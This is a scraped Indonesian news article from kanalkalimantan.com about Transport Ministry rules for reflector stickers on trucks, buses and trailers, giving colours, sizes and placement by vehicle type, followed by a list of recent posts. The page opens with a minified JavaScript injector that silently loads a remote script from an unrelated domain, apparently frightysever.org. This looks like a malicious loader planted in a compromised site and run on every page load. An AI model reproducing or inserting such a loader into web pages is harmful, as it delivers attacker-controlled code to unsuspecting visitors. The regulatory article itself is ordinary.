(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Otomotif

Pasang Stiker Reflektor Truk Tidak Boleh Sembarangan, Ini Aturannya


KANALKALIMANTAN.COM – Para pengguna jalan mungkin sering melihat berbagai jenis modifikasi atau penempelan aksesoris pada mobil jenis truk. Paling sering menggunakan cutting sticker, bisa juga mengecat badan karoseri truk agar terlihat lebih menarik.  Namun, ada aturan soal stiker yang wajib dimiliki oleh truk. Yaitu reflector sticker atau stiker berkemampuan memantulkan cahaya.

Dalam rangka menekan tingginya angka kecelakaan di jalan raya, Kementerian Perhubungan kini mewajibkan truk untuk memasang stiker reflektor. Stiker reflektor berguna sebagai pemantul cahaya di badan truk.

Kebijakan ini tertuang dalam Peraturan Direktur Jenderal Perhubungan Darat No.SK 5311/AJ.410/DRJD/2018 tentang Pedoman Teknis Alat Pemantul Cahaya Tambahan pada Kendaraan Bemotor, Kereta Gandengan dan Kereta Tempelan.

Di peraturan ini, stiker reflektor atau pemantul cahaya harus terpasang pada kendaraan yang memiliki Jumlah Berat Bruto (JBB) lebih dari 7.500 kg. Sementara itu, warna dan ukuran stiker reflector yang digunakan harus didasarkan oleh ketentuan sebagai berikut :

1.Merah. Warna merah digunakan di bagian belakang kendaraan. Ketentuannya, stiker setidaknya memiliki lebar 600 mm dan tinggi 50 mm. Warna merah digunakan sebagai simbol jaga jarak bagi kendaraan yang ada di belakang.

2.Kuning. Warna kuning ditempel pada bagian samping mobil bus dan mobil barang. Ketentuan ukuran stiker reflektor warna kuning yakni dengan lebar 600 mm dengan tinggi 50 mm.

3.Putih. Warna putih ditempel pada bagian depan kereta gandengan dan kereta tempelan. Ketentuan ukuran stiker ini yakni 600 mm pada bagian lebarnya dan 50 mm untuk ketinggiannya.

Selain mengetahui ketentuan ukuran stiker reflektor, pemilik atau pengendara juga perlu mengetahui posisi penempelan stiker reflektor itu.

Berikut penjelasan penempatan stiker reflektor berdasarkan jenis kendaraannya :

1.Bus Sedang. Pada bus berdimensi sedang, stiker reflektortor warna merah diletakkan di bagian belakang dekat kaca belakang. Jarak antara kaca dan stiker reflektor tidak melebihi 400 mm dan dibuat menjadi tiga bagian putus-putus dengan masing-masing panjangnya 600 mm. Sementara itu, stiker reflektor kuning ditempatkan pada bagian samping body di antara kaca dan ban.

2.Mobil Barang dengan sumbu belakang ganda atau lebih, seperti mobil dump truck, stiker reflektor merah ditempel pada bagian belakang karoseri dengan bentuk yang mengotak mengelilingi karoseri. Stiker reflektor kuning ditempatkan pada bagian samping bak truk dengan bentuk mengelilingi karoseri seperti pada bagian belakang.

Sementara itu, untuk ukuran stiker dan ketentuan lokasi secara detail adalah di bawah ini:

Mobil Boks. Stiker reflektor merah ditempel pada bagian belakang boks dengan bentuk yang mengotak mengelilingi boks. Stiker reflektor kuning ditempatkan pada bagian samping boks truk dengan bentuk mengelilingi boks seperti pada bagian belakang.

Mobil Mixer. Stiker reflektor merah ditempel pada bagian belakang mixer tepatnya pada bagian bawah di sebelah kanan dan kiri. Stiker reflektor kuning ditempatkan pada bagian bawah samping truk mulai dari kepala truk sampai dengan tabung mixer truk.

Mobil Tangki. Stiker reflektor merah ditempel pada bagian belakang tangki dengan bentuk yang mengikuti tangki itu. Stiker reflektor kuning ditempatkan pada bagian samping tangki dan di tempel pada bagian bawah tangka dari depan ke belakang.

Mobil Penarik. Pada mobil truk penarik ketentuan stiker reflektor yang wajib ditempel berbeda lagi. Stiker reflektor merah ditempel pada area belakang kepala truk tepatnya di sudut kanan dan kiri atas truk. Stiker warna sama juga ditempel pada bagian kanan dan kiri dekat ban paling belakang. Sementara itu, stiker reflektor kuning ditempel memanjang di bagian samping mulai dari bagian kepala truk sampai ke bagian belakang.

Kereta Gandengan. Bagian gandengan juga membutuhkan stiker reflektor, warna merah ditempelkan pada bagian paling belakang gandengan dengan bentuk mengotak mengikuti karoseri truk. Sementara itu, sticker reflector kuning juga ditempatkan di bagian samping gandengan dengan bentuk mengotak.

Kereta Tempelan. Bagian kereta tempelan juga tidak luput dari penggunaan stiker reflektor. Warna kuning digunakan pada bagian samping secara putus-putus dari depan ke belakang.

Nah, penggunaan stiker reflektor sangat berguna untuk menjaga keamanan pengemudi truk selama perjalanan. Dengan menempelkan stiker reflektor, diharapkan angka kecelakaan akan menurun mengingat kewaspadaan pengemudi akan meningkat dengan hadirnya stiker jenis ini. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.